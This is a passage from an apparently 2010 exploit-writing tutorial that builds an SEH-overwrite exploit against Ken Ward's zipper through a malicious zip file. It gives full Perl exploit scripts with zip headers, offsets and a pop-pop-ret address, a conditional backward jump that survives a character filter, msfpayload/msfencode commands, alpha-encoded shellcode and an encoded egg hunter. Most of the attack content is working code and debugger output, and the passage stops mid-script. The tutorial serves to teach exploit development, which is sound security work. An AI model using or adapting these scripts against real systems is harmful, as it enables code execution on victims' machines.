<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb321_thumb13.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image_thumb321_thumb[1]" border="0" alt="image_thumb321_thumb[1]" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb321_thumb13_thumb.png" width="520" height="94"></a> </p>
<p>So far so good.</p>
<p>&nbsp;</p>
<h3>nseh jumpcode, but where to ?</h3>
<p>We can use the 4 bytes at nseh to make a jump.&nbsp; </p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/stopandthink42.jpg"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="stop and think" border="0" alt="stop and think" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/stopandthink_thumb42.jpg" width="200" height="100"></a></p>
<p><em>Where should we make the jump to ?&nbsp; As you can see on the stack, the D&#8217;s that were placed in the payload buffer after overwriting the SEH structure are not visible anymore.&nbsp; It looks like the null byte in the ppr address terminated the string, and now the D&#8217;s are &#8220;gone&#8221;.</em></p>
<p><em></em>&nbsp;</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image65_thumb1_thumb13.png"><img style="border-right-width: 0px; margin: 0px 15px 0px 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image65_thumb1_thumb[1]" border="0" alt="image65_thumb1_thumb[1]" align="left" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image65_thumb1_thumb13_thumb.png" width="407" height="226"></a>This means that, at nseh, you can only jump back. Jumping forward does not make any sense, because we no longer control the bytes on the stack after the SEH record was overwritten.&nbsp;&nbsp; </p>
<p>But we do control most part of the stack before the SEH record was overwritten.&nbsp; </p>
<p>In theory, we should have like 1022 bytes (- the bytes needed for the filename and spaces at the beginning of the payload).&nbsp;&nbsp; Whether these 1022 ( minus some ) bytes can be fully used or not, is not clear at this point. </p>
<p>We can, for example, see on the stack that in the buffer with A&#8217;s (which sit between the fake filename (start of the string), and the location in the string used to overwrite SEH), some nulls have been inserted. </p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb34_thumb13.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image_thumb34_thumb[1]" border="0" alt="image_thumb34_thumb[1]" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb34_thumb13_thumb.png" width="278" height="299"></a> </p>
<p>If we continue to scroll up in the stack view, we get closer to the start of the buffer, and eventually we can find the fake filename, spaces and the start of the A&#8217;s (at 0013F58E)</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb1_thumb13.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image_thumb1_thumb[1]" border="0" alt="image_thumb1_thumb[1]" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb1_thumb13_thumb.png" width="358" height="459"></a> </p>
<p>The current location, when the pop pop ret is executed, is 0013F908.&nbsp; So that means that we have about 890 bytes at our disposal.</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb5_thumb63.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image_thumb5_thumb[6]" border="0" alt="image_thumb5_thumb[6]" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb5_thumb63_thumb.png" width="470" height="158"></a> </p>
<p>Since we know that the buffer is subject to a character set limitation, we will most likely need to encode all instructions/shellcode before we can execute them.&nbsp; Encoding will increase the total shellcode size, and the code that we&#8217;ll probably to align registers and stack may need to be encoded too.&nbsp; So we might end up with some sizing issues here.&nbsp; 890 bytes is not bad, but it&#8217;s not huge either.</p>
<p>Anyways, we will start by jumping back at nseh (because that&#8217;s the only option we have at this point).&nbsp; Because of the character set limitation, we cannot use the 0xeb opcode for this.</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/stopandthink42.jpg"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="stop and think" border="0" alt="stop and think" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/stopandthink_thumb42.jpg" width="200" height="100"></a> </p>
<p><em>0xEB won&#8217;t work. So what are our options to make a jump back ?</em></p>
<p>Answer : we still can use conditional jumps to jump back. Look at the state of the flags when you land back from the pop pop ret instructions :</p>
<pre style="border-bottom: #808080 1px solid; border-left: #808080 1px solid; padding-bottom: 5px; background-color: #e6e6e6; min-height: 40px; padding-left: 5px; width: 550px; padding-right: 5px; overflow: auto; border-top: #808080 1px solid; border-right: #808080 1px solid; padding-top: 5px">C 0  ES 0023 32bit 0(FFFFFFFF)
P 1  CS 001B 32bit 0(FFFFFFFF)
A 0  SS 0023 32bit 0(FFFFFFFF)
Z 1  DS 0023 32bit 0(FFFFFFFF)
S 0  FS 003B 32bit 7FFDF000(FFF)
T 0  GS 0000 NULL
D 0
O 0  LastErr ERROR_SUCCESS (00000000)</pre>
<p>Based on these flags, we can use JE (0&#215;74) to make a jump back. This one will make a short jump if the zero flag is 1. This short jump instruction takes a single byte offset. Because of the character set limitation, the amount of bytes we are able to jump back will be limited to a small range.&nbsp; </p>
<p>In the quickzip writeup, we learned that 0&#215;74 with offset 0xF7 would translate/get converted into 0&#215;74 0&#215;98, making a jump back of 102 bytes.</p>
<p>Let&#8217;s fnd out if this works :</p>
<pre style="border-bottom: #808080 1px solid; border-left: #808080 1px solid; padding-bottom: 5px; background-color: #e6e6e6; min-height: 40px; padding-left: 5px; width: 550px; padding-right: 5px; overflow: auto; border-top: #808080 1px solid; border-right: #808080 1px solid; padding-top: 5px"># Exploit script for Ken Ward's zipper
# Written by Peter Van Eeckhoutte
# http:<span style="color: #008000">//www.corelan.be:8800</span>
#---------------------------------------------------
<span style="color: #0000ff">my</span> $sploitfile="<span style="color: #8b0000">corelan_kenward.zip</span>";
<span style="color: #0000ff">my</span> $ldf_header = "<span style="color: #8b0000">\x50\x4B\x03\x04\x14\x00\x00</span>".
"<span style="color: #8b0000">\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00</span>" .
"<span style="color: #8b0000">\x00\x00\x00\x00\x00\x00\x00\x00</span>" .
"<span style="color: #8b0000">\xe4\x0f</span>" .
"<span style="color: #8b0000">\x00\x00\x00</span>";

<span style="color: #0000ff">my</span> $cdf_header = "<span style="color: #8b0000">\x50\x4B\x01\x02\x14\x00\x14</span>".
"<span style="color: #8b0000">\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00</span>" .
"<span style="color: #8b0000">\x00\x00\x00\x00\x00\x00\x00\x00\x00</span>".
"<span style="color: #8b0000">\xe4\x0f</span>".
"<span style="color: #8b0000">\x00\x00\x00\x00\x00\x00\x01\x00</span>".
"<span style="color: #8b0000">\x24\x00\x00\x00\x00\x00\x00\x00</span>";

<span style="color: #0000ff">my</span> $eofcdf_header = "<span style="color: #8b0000">\x50\x4B\x05\x06\x00\x00\x00</span>".
"<span style="color: #8b0000">\x00\x01\x00\x01\x00</span>".
"<span style="color: #8b0000">\x12\x10\x00\x00</span>".
"<span style="color: #8b0000">\x02\x10\x00\x00</span>".
"<span style="color: #8b0000">\x00\x00</span>";

<span style="color: #0000ff">print</span> "<span style="color: #8b0000">[+] Preparing payload\n</span>";

<span style="color: #0000ff">my</span> $size=4064;
<span style="color: #0000ff">my</span> $<span style="color: #0000ff">offset</span>=1022;
<span style="color: #0000ff">my</span> $filename=  "<span style="color: #8b0000">Admin accounts and passwords.txt</span>".("<span style="color: #8b0000"> </span>" x 100);
<span style="color: #0000ff">my</span> $junk = "<span style="color: #8b0000">A</span>" x ($<span style="color: #0000ff">offset</span> - <span style="color: #0000ff">length</span>($filename));
<span style="color: #0000ff">my</span> $nseh="<span style="color: #8b0000">\x74\xf7\x90\x90</span>";   #f7 becomes 98 -&gt; jump back 102 bytes
<span style="color: #0000ff">my</span> $seh=<span style="color: #0000ff">pack</span>('V',0x00415A68);
<span style="color: #0000ff">my</span> $payload = $filename.$junk.$nseh.$seh;
<span style="color: #0000ff">my</span> $rest = "<span style="color: #8b0000">D</span>" x ($size-<span style="color: #0000ff">length</span>($payload));

$payload=$payload.$rest."<span style="color: #8b0000">.txt</span>";

<span style="color: #0000ff">my</span> $evilzip = $ldf_header.$payload.
              $cdf_header.$payload.
			  $eofcdf_header;

<span style="color: #0000ff">print</span> "<span style="color: #8b0000">[+] Removing old zip file\n</span>";
<span style="color: #0000ff">system</span>("<span style="color: #8b0000">del $sploitfile</span>");
<span style="color: #0000ff">print</span> "<span style="color: #8b0000">[+] Writing payload to file\n</span>";
<span style="color: #0000ff">open</span>(FILE,"<span style="color: #8b0000">&gt;$sploitfile</span>");
<span style="color: #0000ff">print</span> FILE $evilzip;
<span style="color: #0000ff">close</span>(FILE);
<span style="color: #0000ff">print</span> "<span style="color: #8b0000">[+] Wrote </span>".<span style="color: #0000ff">length</span>($evilzip)."<span style="color: #8b0000"> bytes to file $sploitfile\n</span>";
<span style="color: #0000ff">print</span> "<span style="color: #8b0000">[+] Payload length : </span>" . <span style="color: #0000ff">length</span>($payload)."<span style="color: #8b0000">\n</span>";</pre>
<p>Right after the pop pop ret is executed, we land at the backward jump at nseh, and the CPU view in Immunity looks like this :</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image6.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image" border="0" alt="image" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb6.png" width="454" height="324"></a> </p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<h3>Backward jump works, but what can we do with it ?</h3>
<p>Before deciding where to put our shellcode and changing jump back values if needed, we need to figure what we want to do.</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/stopandthink42.jpg"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="stop and think" border="0" alt="stop and think" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/stopandthink_thumb42.jpg" width="200" height="100"></a> </p>
<p><em>We have about 890 bytes, more or less. How do we want to use those bytes ?&nbsp;&nbsp; Is that the location we have to put our shellcode at ?</em></p>
<p>Well, let&#8217;s not just believe what we see and don&#8217;t see. Let&#8217;s find out and get the facts before taking any decisions.&nbsp; As Oscar Wilde once said : <em>&#8220;When you assume, you make an ass out of u and me&#8221;</em>.</p>
<p>The null byte at SEH made the remaining part of the buffer string &#8220;disappear&#8221;, but that does not mean that this string is not availabe in memory anywhere. And if it is available in memory, then we may be able to use the 890 bytes to jump to the real shellcode in memory&#8230; and that changes the situation.</p>
<p>In order to find that out, we will write some real shellcode in the buffer (after the SEH overwrite), and then we will use pvefindaddr to search for it.</p>
<p>Let&#8217;s create some shellcode, and encode the shellcode to avoid that it would break the zip file structure.&nbsp; </p>
<pre style="border-bottom: #808080 1px solid; border-left: #808080 1px solid; padding-bottom: 5px; background-color: #e6e6e6; min-height: 40px; padding-left: 5px; width: 550px; padding-right: 5px; overflow: auto; border-top: #808080 1px solid; border-right: #808080 1px solid; padding-top: 5px">./msfpayload windows/messagebox TITLE="<span style="color: #8b0000">CORELAN</span>"
     TEXT="<span style="color: #8b0000">corelanc0d3r says hi to the Abysssec.com blog visitors</span>" R
 | ./msfencode -e x86/alpha_mixed -t perl</pre>
<p>This will produce 690 bytes of shellcode</p>
<pre style="border-bottom: #808080 1px solid; border-left: #808080 1px solid; padding-bottom: 5px; background-color: #e6e6e6; min-height: 40px; padding-left: 5px; width: 550px; padding-right: 5px; overflow: auto; border-top: #808080 1px solid; border-right: #808080 1px solid; padding-top: 5px">[*] x86/alpha_mixed succeeded with size 690 (iteration=1)</pre>
<p>We will put the shellcode at the end of the payload, and we will also write it to a file at c:\tmp\shellcode.bin. The latter is required for pvefindaddr later on</p>
<pre style="border-bottom: #808080 1px solid; border-left: #808080 1px solid; padding-bottom: 5px; background-color: #e6e6e6; min-height: 40px; padding-left: 5px; width: 550px; padding-right: 5px; overflow: auto; border-top: #808080 1px solid; border-right: #808080 1px solid; padding-top: 5px"># Exploit script for Ken Ward's zipper
# Written by Peter Van Eeckhoutte
# http:<span style="color: #008000">//www.corelan.be:8800</span>
#---------------------------------------------------
<span style="color: #0000ff">my</span> $sploitfile="<span style="color: #8b0000">corelan_kenward.zip</span>";
<span style="color: #0000ff">my</span> $ldf_header = "<span style="color: #8b0000">\x50\x4B\x03\x04\x14\x00\x00</span>".
"<span style="color: #8b0000">\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00</span>" .
"<span style="color: #8b0000">\x00\x00\x00\x00\x00\x00\x00\x00</span>" .
"<span style="color: #8b0000">\xe4\x0f</span>" .
"<span style="color: #8b0000">\x00\x00\x00</span>";

<span style="color: #0000ff">my</span> $cdf_header = "<span style="color: #8b0000">\x50\x4B\x01\x02\x14\x00\x14</span>".
"<span style="color: #8b0000">\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00</span>" .
"<span style="color: #8b0000">\x00\x00\x00\x00\x00\x00\x00\x00\x00</span>".
"<span style="color: #8b0000">\xe4\x0f</span>".
"<span style="color: #8b0000">\x00\x00\x00\x00\x00\x00\x01\x00</span>".
"<span style="color: #8b0000">\x24\x00\x00\x00\x00\x00\x00\x00</span>";

<span style="color: #0000ff">my</span> $eofcdf_header = "<span style="color: #8b0000">\x50\x4B\x05\x06\x00\x00\x00</span>".
"<span style="color: #8b0000">\x00\x01\x00\x01\x00</span>".
"<span style="color: #8b0000">\x12\x10\x00\x00</span>".
"<span style="color: #8b0000">\x02\x10\x00\x00</span>".
"<span style="color: #8b0000">\x00\x00</span>";

<span style="color: #0000ff">print</span> "<span style="color: #8b0000">[+] Preparing payload\n</span>";

<span style="color: #0000ff">my</span> $size=4064;
<span style="color: #0000ff">my</span> $<span style="color: #0000ff">offset</span>=1022;
<span style="color: #0000ff">my</span> $filename=  "<span style="color: #8b0000">Admin accounts and passwords.txt</span>".("<span style="color: #8b0000"> </span>" x 100);
<span style="color: #0000ff">my</span> $junk = "<span style="color: #8b0000">A</span>" x ($<span style="color: #0000ff">offset</span> - <span style="color: #0000ff">length</span>($filename));
<span style="color: #0000ff">my</span> $nseh="<span style="color: #8b0000">\x74\xf7\x90\x90</span>";   #jump back 102 bytes
<span style="color: #0000ff">my</span> $seh=<span style="color: #0000ff">pack</span>('V',0x00415A68);
<span style="color: #0000ff">my</span> $payload = $filename.$junk.$nseh.$seh;

<span style="color: #0000ff">my</span> $shellcode =
"<span style="color: #8b0000">\x89\xe2\xd9\xe8\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49</span>" .
"<span style="color: #8b0000">\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51</span>" .
"<span style="color: #8b0000">\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32</span>" .
"<span style="color: #8b0000">\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41</span>" .
"<span style="color: #8b0000">\x42\x75\x4a\x49\x4a\x79\x48\x6b\x4f\x6b\x48\x59\x42\x54</span>" .
"<span style="color: #8b0000">\x51\x34\x49\x64\x50\x31\x4a\x72\x4d\x62\x51\x6a\x45\x61</span>" .
"<span style="color: #8b0000">\x4f\x39\x45\x34\x4c\x4b\x51\x61\x44\x70\x4c\x4b\x42\x56</span>" .
"<span style="color: #8b0000">\x44\x4c\x4c\x4b\x50\x76\x47\x6c\x4e\x6b\x51\x56\x44\x48</span>" .
"<span style="color: #8b0000">\x4c\x4b\x43\x4e\x47\x50\x4e\x6b\x45\x66\x46\x58\x50\x4f</span>" .
"<span style="color: #8b0000">\x45\x48\x43\x45\x4c\x33\x51\x49\x43\x31\x4a\x71\x49\x6f</span>" .
"<span style="color: #8b0000">\x49\x71\x51\x70\x4c\x4b\x50\x6c\x47\x54\x44\x64\x4e\x6b</span>" .
"<span style="color: #8b0000">\x51\x55\x45\x6c\x4e\x6b\x43\x64\x43\x35\x44\x38\x45\x51</span>" .
"<span style="color: #8b0000">\x48\x6a\x4e\x6b\x51\x5a\x44\x58\x4e\x6b\x51\x4a\x47\x50</span>" .
"<span style="color: #8b0000">\x47\x71\x48\x6b\x4b\x53\x50\x37\x42\x69\x4c\x4b\x46\x54</span>" .
"<span style="color: #8b0000">\x4e\x6b\x46\x61\x4a\x4e\x44\x71\x49\x6f\x50\x31\x4f\x30</span>" .
"<span style="color: #8b0000">\x49\x6c\x4c\x6c\x4f\x74\x4f\x30\x51\x64\x47\x7a\x4a\x61</span>" .
"<span style="color: #8b0000">\x4a\x6f\x46\x6d\x46\x61\x4b\x77\x4b\x59\x49\x61\x49\x6f</span>" .
"<span style="color: #8b0000">\x49\x6f\x49\x6f\x47\x4b\x51\x6c\x45\x74\x44\x68\x42\x55</span>" .
"<span style="color: #8b0000">\x49\x4e\x4e\x6b\x42\x7a\x47\x54\x46\x61\x4a\x4b\x43\x56</span>" .
"<span style="color: #8b0000">\x4e\x6b\x44\x4c\x50\x4b\x4c\x4b\x43\x6a\x45\x4c\x43\x31</span>" .
"<span style="color: #8b0000">\x4a\x4b\x4e\x6b\x45\x54\x4e\x6b\x45\x51\x49\x78\x4b\x39</span>" .
"<span style="color: #8b0000">\x43\x74\x45\x74\x45\x4c\x50\x61\x4f\x33\x4e\x52\x43\x38</span>" .
"<span style="color: #8b0000">\x47\x59\x4b\x64\x4e\x69\x4a\x45\x4e\x69\x49\x52\x45\x38</span>" .
"<span style="color: #8b0000">\x4e\x6e\x50\x4e\x46\x6e\x4a\x4c\x46\x32\x4d\x38\x4d\x4c</span>" .
"<span style="color: #8b0000">\x4b\x4f\x49\x6f\x4b\x4f\x4d\x59\x51\x55\x44\x44\x4f\x4b</span>" .
"<span style="color: #8b0000">\x51\x6e\x49\x48\x4a\x42\x42\x53\x4f\x77\x47\x6c\x45\x74</span>" .
"<span style="color: #8b0000">\x46\x32\x49\x78\x4c\x4b\x49\x6f\x4b\x4f\x49\x6f\x4b\x39</span>" .
"<span style="color: #8b0000">\x51\x55\x47\x78\x50\x68\x42\x4c\x42\x4c\x51\x30\x49\x6f</span>" .
"<span style="color: #8b0000">\x45\x38\x50\x33\x46\x52\x44\x6e\x51\x74\x43\x58\x51\x65</span>" .
"<span style="color: #8b0000">\x50\x73\x50\x65\x50\x72\x4d\x58\x43\x6c\x44\x64\x47\x7a</span>" .
"<span style="color: #8b0000">\x4c\x49\x4b\x56\x50\x56\x4b\x4f\x51\x45\x47\x74\x4d\x59</span>" .
"<span style="color: #8b0000">\x4f\x32\x42\x70\x4f\x4b\x4d\x78\x4f\x52\x50\x4d\x4d\x6c</span>" .
"<span style="color: #8b0000">\x4c\x47\x47\x6c\x46\x44\x50\x52\x4a\x48\x51\x4e\x49\x6f</span>" .
"<span style="color: #8b0000">\x4b\x4f\x49\x6f\x42\x48\x50\x4c\x42\x61\x42\x6e\x50\x58</span>" .
"<span style="color: #8b0000">\x42\x48\x42\x63\x50\x4f\x42\x72\x51\x55\x45\x61\x49\x4b</span>" .
"<span style="color: #8b0000">\x4e\x68\x51\x4c\x47\x54\x45\x57\x4b\x39\x4d\x33\x42\x48</span>" .
"<span style="color: #8b0000">\x44\x32\x44\x33\x42\x78\x51\x30\x42\x48\x50\x73\x43\x59</span>" .
"<span style="color: #8b0000">\x44\x34\x50\x6f\x43\x58\x43\x57\x51\x30\x44\x36\x51\x79</span>" .
"<span style="color: #8b0000">\x50\x68\x51\x30\x50\x62\x50\x6c\x42\x4f\x42\x48\x46\x4e</span>" .
"<span style="color: #8b0000">\x45\x33\x42\x4f\x50\x6d\x43\x58\x51\x63\x43\x43\x45\x35</span>" .
"<span style="color: #8b0000">\x43\x53\x50\x68\x43\x71\x50\x62\x43\x49\x43\x43\x42\x48</span>" .
"<span style="color: #8b0000">\x51\x64\x43\x58\x43\x55\x47\x50\x42\x48\x45\x70\x51\x64</span>" .
"<span style="color: #8b0000">\x50\x6f\x51\x30\x45\x38\x50\x73\x45\x70\x51\x78\x50\x69</span>" .
"<span style="color: #8b0000">\x51\x78\x47\x50\x43\x43\x45\x31\x50\x79\x51\x78\x46\x50</span>" .
"<span style="color: #8b0000">\x45\x34\x47\x43\x42\x52\x45\x38\x42\x4c\x50\x61\x42\x4e</span>" .
"<span style="color: #8b0000">\x51\x73\x50\x68\x50\x63\x42\x4f\x50\x72\x51\x75\x45\x61</span>" .
"<span style="color: #8b0000">\x4a\x69\x4e\x68\x42\x6c\x45\x74\x46\x56\x4b\x39\x4b\x51</span>" .
"<span style="color: #8b0000">\x50\x31\x49\x42\x50\x52\x50\x53\x46\x31\x46\x32\x49\x6f</span>" .
"<span style="color: #8b0000">\x4a\x70\x44\x71\x4b\x70\x46\x30\x49\x6f\x42\x75\x43\x38</span>" .
"<span style="color: #8b0000">\x46\x6a\x41\x41</span>";

<span style="color: #0000ff">my</span> $rest = "<span style="color: #8b0000">D</span>" x ($size-<span style="color: #0000ff">length</span>($payload.$shellcode));

$payload=$payload.$rest.$shellcode."<span style="color: #8b0000">.txt</span>";

<span style="color: #0000ff">my</span> $evilzip = $ldf_header.$payload.
              $cdf_header.$payload.
			  $eofcdf_header;

<span style="color: #0000ff">print</span> "<span style="color: #8b0000">[+] Removing old zip file\n</span>";
<span style="color: #0000ff">system</span>("<span style="color: #8b0000">del $sploitfile</span>");
<span style="color: #0000ff">print</span> "<span style="color: #8b0000">[+] Writing payload to file\n</span>";
<span style="color: #0000ff">open</span>(FILE,"<span style="color: #8b0000">&gt;$sploitfile</span>");
<span style="color: #0000ff">print</span> FILE $evilzip;
<span style="color: #0000ff">close</span>(FILE);
<span style="color: #0000ff">print</span> "<span style="color: #8b0000">[+] Wrote </span>".<span style="color: #0000ff">length</span>($evilzip)."<span style="color: #8b0000"> bytes to file $sploitfile\n</span>";
<span style="color: #0000ff">print</span> "<span style="color: #8b0000">[+] Payload length : </span>" . <span style="color: #0000ff">length</span>($payload)."<span style="color: #8b0000">\n</span>";

<strong><font color="#ff0000"><span style="color: #0000ff">print</span> "<span style="color: #8b0000">[+] Writing shellcode to file\n</span>";
<span style="color: #0000ff">open</span>(FILE,"<span style="color: #8b0000">&gt;c:\\tmp\\shellcode.bin</span>");
<span style="color: #0000ff">print</span> FILE $shellcode;
<span style="color: #0000ff">close</span>(FILE);
<span style="color: #0000ff">print</span> "<span style="color: #8b0000">[+] Wrote </span>" . <span style="color: #0000ff">length</span>($shellcode)."<span style="color: #8b0000"> bytes to file\n</span>";</font></strong></pre>
<p>Create the new zip file, then trigger the overflow again.&nbsp; Allow pop pop ret to kick in, and step through until you land back at nseh. (Which still contains the jump back code). Don&#8217;t execute the jump back code yet, but instead of that, run the following command :</p>
<pre style="border-bottom: #808080 1px solid; border-left: #808080 1px solid; padding-bottom: 5px; background-color: #e6e6e6; min-height: 40px; padding-left: 5px; width: 550px; padding-right: 5px; overflow: auto; border-top: #808080 1px solid; border-right: #808080 1px solid; padding-top: 5px">!pvefindaddr compare c:\tmp\shellcode.bin</pre>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image7.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image" border="0" alt="image" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb7.png" width="562" height="200"></a> </p>
<p>That&#8217;s great news.&nbsp; Our shellcode was found in memory and it was not modified. So if we can make a jump to that location, we have a good chance of getting it to execute.</p>
<p>Just keep in mind that the address where the shellcode has been found, will most likely not be static/reliable.&nbsp; So in order to be safe, we&#8217;ll have to use an egg hunter.</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/stopandthink42.jpg"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="stop and think" border="0" alt="stop and think" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/stopandthink_thumb42.jpg" width="200" height="100"></a> </p>
<p><em>Back to our initial question : what can and will we do with the jump back code at nseh ?</em></p>
<p>Answer : we need to write an egg hunter in the first part of the buffer (first part = part before overwriting the SEH record), so we have to use the jump back as starting point to eventually jump to the egg hunter and let it do it&#8217;s magic work.</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<h3>The Egg hunter</h3>
<p>Before we can even think about running the egg hunter, we will have to take a couple of steps</p>
<ul>
<li>we will need to encode the egg hunter (because we will place it in the buffer before overwriting SEH). We will use the alpha2 encoder for this.&nbsp; This encoder will require us to prepare a register (make it point exactly to the first byte of the encoded egg hunter), and we will have to use that register as baseregister when encoding the hunter.&nbsp;&nbsp; I decided to take edx for this purpose.
<li>in order to set a register to the correct value (and jump to it to get the egg hunter to run), we will have to write some instructions. Unfortunately, these instructions are not character set compatible, so we will need to use a custom decoder for this.
<li>This custom decoder will produce the instructions required to set the register (edx) to the correct value, and after the instructions were produced we need to get these instructions to execute. The easiest way to do so is by making esp point to a location directly (or almost) directly below the custom decoder, so when the decoder stops running, the decoded instructions would get executed right away. </li>
</ul>
<p>Let&#8217;s start with encoding the egg hunter and placing it in the buffer. After all, we will need to have its base address so we can write the instructions that are needed to put this baseaddres into edx.</p>
<p>The egg hunter I will use is the one that uses <a href="http://www.corelan.be:8800/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/">NtAccessCheckAndAuditAlarm</a> :</p>
<pre style="border-bottom: #808080 1px solid; border-left: #808080 1px solid; padding-bottom: 5px; background-color: #e6e6e6; min-height: 40px; padding-left: 5px; width: 550px; padding-right: 5px; overflow: auto; border-top: #808080 1px solid; border-right: #808080 1px solid; padding-top: 5px"><span style="color: #0000ff">my</span> $egghunter =
"<span style="color: #8b0000">\x66\x81\xCA\xFF\x0F\x42</span>".
"<span style="color: #8b0000">\x52\x6A\x02\x58\xCD\x2E</span>".
"<span style="color: #8b0000">\x3C\x05\x5A\x74\xEF\xB8</span>".
"<span style="color: #8b0000">\x77\x30\x30\x74</span>". # tag: w00t
"<span style="color: #8b0000">\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7</span>";</pre>
<p>We can encode it by</p>
<ul>
<li>writing the egg hunter to a file first
<li>feeding the binary egg hunter to alpha2 </li>
</ul>
<p>Script to write egg hunter to a file :</p>
<pre style="border-bottom: #808080 1px solid; border-left: #808080 1px solid; padding-bottom: 5px; background-color: #e6e6e6; min-height: 40px; padding-left: 5px; width: 550px; padding-right: 5px; overflow: auto; border-top: #808080 1px solid; border-right: #808080 1px solid; padding-top: 5px">root@bt4:/pentest/exploits/alpha2# cat writecode.pl
#!/usr/bin/perl
# Little script to <span style="color: #0000ff">write</span> shellcode to file
# Written by Peter Van Eeckhoutte
# http:<span style="color: #008000">//www.corelan.be:8800</span>

<span style="color: #0000ff">my</span> $code=
"<span style="color: #8b0000">\x66\x81\xCA\xFF\x0F\x42</span>".
"<span style="color: #8b0000">\x52\x6A\x02\x58\xCD\x2E</span>".
"<span style="color: #8b0000">\x3C\x05\x5A\x74\xEF\xB8</span>".
"<span style="color: #8b0000">\x77\x30\x30\x74</span>". # tag: w00t
"<span style="color: #8b0000">\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7</span>";

<span style="color: #0000ff">print</span> "<span style="color: #8b0000">Writing code to file code.bin...\n</span>";
<span style="color: #0000ff">open</span>(FILE,"<span style="color: #8b0000">&gt;code.bin</span>");
<span style="color: #0000ff">print</span> FILE $code;
<span style="color: #0000ff">close</span>(FILE);

root@bt4:/pentest/exploits/alpha2# perl writecode.pl
Writing code to file code.bin...

root@bt4/pentest/exploits/alpha2# </pre>
<p>Feed egg hunter to alpha2 :</p>
<pre style="border-bottom: #808080 1px solid; border-left: #808080 1px solid; padding-bottom: 5px; background-color: #e6e6e6; min-height: 40px; padding-left: 5px; width: 550px; padding-right: 5px; overflow: auto; border-top: #808080 1px solid; border-right: #808080 1px solid; padding-top: 5px">root@bt4:/pentest/exploits/alpha2# ./alpha2 edx &lt; code.bin
JJJJJJJJJJJJJJJJJ7RYjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIRFMQzjY
otOqRaBCZuRbxxMFNWLUUrzBTZOh8bWVPVPd4lK9jnOaezJloBUYwIoxgA</pre>
<p>Now put this encoded egg hunter in the payload :</p>
<ul>
<li>put egg hunter right after the $filename
<li>modify the $junk length to take the egg hunter size into consideration
<li>add the 2 egg hunter tags (&#8220;w00tw00t&#8221;) in front of the shellcode </li>
</ul>
<p>&nbsp;</p>
<pre style="border-bottom: #808080 1px solid; border-left: #808080 1px solid; padding-bottom: 5px; background-color: #e6e6e6; min-height: 40px; padding-left: 5px; width: 550px; padding-right: 5px; overflow: auto; border-top: #808080 1px solid; border-right: #808080 1px solid; padding-top: 5px"># Exploit script for Ken Ward's zipper
# Written by Peter Van Eeckhoutte
# http:<span style="color: #008000">//www.corelan.be:8800</span>
#---------------------------------------------------
<span style="color: #0000ff">my</span> $sploitfile="<span style="color: #8b0000">corelan_kenward.zip</span>";
<span style="color: #0000ff">my</span> $ldf_header = "<span style="color: #8b0000">\x50\x4B\x03\x04\x14\x00\x00</span>".
"<span style="color: #8b0000">\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00</span>" .
"<span style="color: #8b0000">\x00\x00\x00\x00\x00\x00\x00\x00</span>" .
"<span style="color: #8b0000">\xe4\x0f</span>" .
"<span style="color: #8b0000">\x00\x00\x00</span>";

